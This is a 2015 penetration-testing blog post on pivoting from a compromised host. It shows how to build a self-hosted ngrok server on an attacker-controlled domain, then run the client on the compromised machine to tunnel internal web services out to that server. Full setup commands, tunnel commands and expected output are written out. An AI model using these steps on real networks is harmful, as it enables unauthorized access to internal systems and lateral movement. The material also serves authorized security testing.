November 18, 2015 · security ngrok pentesting

Using ngrok to proxy internal servers in restrictive environments

When gaining shell access to a machine on a network, a promising attack vector is to check the internal network for web applications and services that may be accessible from the machine that has been compromised.

Often, internal web applications are found on the local subnets and could allow for an attacker to explore or exploit these applications in order to gain access to another machine with potentially more access on the network.

However, if you're just an attacker that has shell access on a machine that you've compromised, running a proxy on the compromised machine is not always an easy task. In scenarios where you don't have SSH access, can't escalate privileges or can't open ports, one solution comes to mind when wanting to proxy local hosts to your own server.

This is where the tool ngrok comes in handy. As the ngrok wiki explains on Github, the tool lets you:

Ngrok is composed of the server and the client. If you use an ngrok client out of the box, the client will proxy any said local host and port to a random subdomain on ngrok.com - a service that is provided for free (with limitations) by the maintainers of the ngrok project.

Here's a good diagram demonstrating ngrok's functionalities:

However, Ngrok also provides the option for one to run their own server. This is probably what you want to do in order to ensure that the traffic you're proxying doesn't go through the third party ngrok service.

Since ngrok is primarily a Go based tool, the ngrok clients are extremely portable and work on Mac, Windows, Linux/ARM and FreeBSD with a single pre-compiled binary.

In order to set up your own ngrok server, follow these steps:

Get a domain and add the following DNS records:

attacker.com -> your_host_ip  
*.attacker.com -> your_host_ip

Modify the following script to use your domain name in the NGROK_DOMAIN variable and save it as setupngrok.sh:

NGROK_DOMAIN="attacker.com"  
git clone https://github.com/inconshreveable/ngrok.git  
cd ngrok

openssl genrsa -out rootCA.key 2048  
openssl req -x509 -new -nodes -key rootCA.key -subj "/CN=$NGROK_DOMAIN" -days 5000 -out rootCA.pem  
openssl genrsa -out device.key 2048  
openssl req -new -key device.key -subj "/CN=$NGROK_DOMAIN" -out device.csr  
openssl x509 -req -in device.csr -CA rootCA.pem -CAkey rootCA.key -CAcreateserial -out device.crt -days 5000

cp rootCA.pem assets/client/tls/ngrokroot.crt  
# make clean
make release-server release-client  

(original script from https://gist.github.com/lyoshenka/002b7fbd801d0fd21f2f)

Run the script via bash setupngrok.sh and then change directories to the ngrok folder cd ngrok.

Now, the last part, to run the ngrok server you must run the following command (while specifying the ssl .key and .crt generated by the script earlier):

bin/ngrokd -tlsKey=device.key -tlsCrt=device.crt -domain="$NGROK_DOMAIN" -httpAddr=":8000" -httpsAddr=":8001"

If running the above command returns the following, you should be good to go:

[11/18/15 00:52:24] [INFO] [metrics] Reporting every 30 seconds
[11/18/15 00:52:24] [INFO] [registry] [tun] No affinity cache specified
[11/18/15 00:52:24] [INFO] Listening for public http connections on [::]:8000
[11/18/15 00:52:24] [INFO] Listening for public https connections on [::]:8001
[11/18/15 00:52:24] [INFO] Listening for control and proxy connections on [::]:4443

Copy the ngrok client from ngrok/bin/ngrok to your compromised host and then run the following commands to proxy internal traffic:

NGROK_DOMAIN="attacker.com"  
echo -e "server_addr: $NGROK_DOMAIN:4443\ntrust_host_root_certs: false" > ngrok-config  
./ngrok -config=ngrok-config 10.1.1.1:80

The final command above will tunnel the local address 10.1.1.1 at port 80, to your ngrok server located on attacker.com. If all goes well, the output of the tool should look like this:

Tunnel Status                 online  
Version                       1.3/1.3  
Forwarding                    http://3a4bfceb.attacker.com -> 10.1.1.1:80  
Forwarding                    https://3a4bfceb.attacker.com -> 10.1.1.1:80  
Web Interface                 http://127.0.0.1:4040  
# Conn                        0
Avg Conn Time                 0.00ms  

You should now be able to visit https://3a4bfceb.attacker.com - which is actually proxying internal traffic via the compromised host to the internal server @ 10.1.1.1:80.

This technique can be really useful when stuck in internal environments with no easy way to create a proxy for the internal network.